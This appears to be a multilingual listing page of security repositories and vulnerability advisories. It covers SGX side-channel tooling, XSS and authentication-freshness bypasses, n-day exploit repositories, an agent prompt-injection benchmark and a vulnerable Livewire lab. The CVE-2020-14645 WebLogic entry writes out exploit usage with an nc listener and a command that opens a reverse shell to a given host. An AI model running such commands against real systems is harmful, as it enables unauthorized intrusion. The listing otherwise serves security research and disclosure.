sgx-step

Un cadre d'attaque pratique pour un contrôle précis de l'exécution des enclaves SGX-Step est un cadre open-source conçu pour faciliter la recherche sur les attaques par canaux auxiliaires sur les processeurs Intel x86 en général et les plates-formes Intel SGX en particulier. SGX-Step se compose...

AiSOC

AiSOC Открытый, самостоятельно размещаемый центр AI-безопасности AI Security Operations Center. Он принимает вашу телеметрию безопасности, обнаруживает и коррелирует угрозы, расследует их с помощью AI-агентов, чьи рассуждения полностью поддаются аудиту, и предлагает ответные действия, которые...

WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting

Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL. id:...

cve-2025-21756

Анализ n-day CVE-2025-21756 Анализ n-day уязвимости CVE-2025-21756 на основе статьи Michael Hoefler. Мой эксплойт отличается от оригинального в этапе spray и некоторых других мелочах. Он здесь...

Vanguard-Map

VANGUARD1 — Carte de renseignement tactique multi-domaine Une carte 3D en temps réel des choses en mouvement dans le monde : trafic maritime en direct AIS, aéronefs, satellites, câbles sous-marins, ports, points de passage stratégiques et météorologie spatiale — rendue sous forme d'un nuage de...

StepJack

StepJack: бенчмарк безопасности компьютерных агентов против многошаговых косвенных промпт-инъекций Установка 1. Настройка окружения Python Сначала установите все зависимости и убедитесь, что у вас установлен Python 3.10. conda create -n stepjack python=3.10 conda activate stepjack pip install -r...

CVE-2025-49113

CVE-2025-49113 эксплойт RCE метод аутентификации по логину/паролю в этом эксплойте состоит из 4 шагов код немного запутанный...

GO-2026-6609 vulnerabilities

Vulnerabilities for packages: rclone, hubble-ui, juicefs, external-dns, headlamp, gitness, filebrowser, continuity, argo-cd, grafana-alloy, chartmuseum, kyverno-policy-reporter, gitlab-pages, karpenter, argo-workflows, flux-source-controller, temporal-ui-server, kyverno-policy-reporter-ui, openba...

GHSA-F4XW-M386-M277 vulnerabilities

Vulnerabilities for packages: rclone, hubble-ui, juicefs, external-dns, headlamp, gitness, filebrowser, continuity, argo-cd, grafana-alloy, chartmuseum, kyverno-policy-reporter, gitlab-pages, karpenter, argo-workflows, flux-source-controller, temporal-ui-server, kyverno-policy-reporter-ui, openba...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 용 Python EXP（한 번에 완료） 사용법: Python3 exploit.py -t -c 팁: 출력 없음 예시： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' 그러면 getshell 할 수 있습니다...

CVE-2026-107813 Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the api/cluster router exposes node and namespace mutation operations and cluster-wide Nginx reload or restart operations with AuthRequired but without RequireSecureSession. An authenticated OTP-enabled user...

CVE-2026-107813

Versions 2.0.0 through 2.5.0 of Nginx UI are affected by an incomplete fix for CVE-2026-84315. The api/cluster router exposes sensitive node and namespace mutation operations, as well as cluster-wide Nginx reload or restart operations, using AuthRequired but failing to include RequireSecureSessio...

secdim-assurance-drift-challenge

SecDim Challenge Builder Repro — Assurance Drift Рабочее воспроизведение предложенной задачи по безопасности, вдохновлённой CVE-2026-88861 , опубликованной 10 сентября 2026 года. Концепция безопасности Приложение корректно проверяет подписанную сессию и корректно проверяет роль admin, но оно...

CVE-2026-71575

The maxage authentication-freshness check in OidcClientCodeRequestFilter was inoperative due to a milliseconds/seconds unit mismatch and an inverted comparison polarity. Any relying party using setMaxAgeOffset to enforce re-authentication would silently accept sessions of any age, bypassing step-...

EUVD-2026-95694

The maxage authentication-freshness check in OidcClientCodeRequestFilter was inoperative due to a milliseconds/seconds unit mismatch and an inverted comparison polarity. Any relying party using setMaxAgeOffset to enforce re-authentication would silently accept sessions of any age, bypassing step-...

PT-2026-108814

Name of the Vulnerable Software and Affected Versions Apache CXF versions prior to 4.2.4 Apache CXF versions prior to 4.1.9 Apache CXF versions prior to 3.6.13 Description An issue exists in the OidcClientCodeRequestFilter where the max age authentication-freshness check is inoperative. This is...

CLEANSTART-2026-CD04274 Security fix for ghsa-hrxh-6v49-42gf applied in: aws-network-policy-agent 1.2.7-r0, fabric-peer 3.1.5-r1, gotenberg 8.33.0-r0, step 0.30.2-r4, kube-state-metrics-fips 2.20.0-r4, eks-distro-kube-apiserver 1.36.8-r0, eks-distro-kube-apiserver-fips 1.36.8-r0

ghsa-hrxh-6v49-42gf affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-KW79982 Security fix for ghsa-259r-337f-4rfw applied in: aws-network-policy-agent 1.1.6-r4, caddy 2.11.4-r1, fabric-peer 2.5.16-r2, fabric-peer 3.1.5-r1, gotenberg 8.33.0-r0, kubernetes-dns-node-cache 1.23.1-r2, step 0.30.2-r4

ghsa-259r-337f-4rfw affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CVE-2026-54520

CVE-2026-54520 ai-agent-automation — обход пути в шаге файла workflow, позволявший чтение/запись за пределами ожидаемой директории. Основной advisory: GHSA-cm8g-8jfq-887p Исследователь: @chaitanyagarware Ключевые факты Поле| Значение ---|--- CVE| CVE-2026-54520 GHSA| GHSA-cm8g-8jfq-887p Проект|...

CVE-2025-54068-livewire

CVE-2025-54068 - Livewire v3.6.3 취약한 실습 환경 이 폴더는 CVE-2025-54068 을 재현하기 위해 Livewire 3.6.3취약 버전에 고정된 최소한의 Laravel + Livewire v3 애플리케이션을 구성합니다. 마운트된 컴포넌트는 공개 익스플로잇 체인과 호환되도록 의도적으로 작성되었습니다1단계 배열 캐스트 단계를 허용합니다. 빠른 시작 docker compose up -d --build 다음을 여세요: http://localhost:18081/ 검증안전한 PoC 이 스크립트는 공개...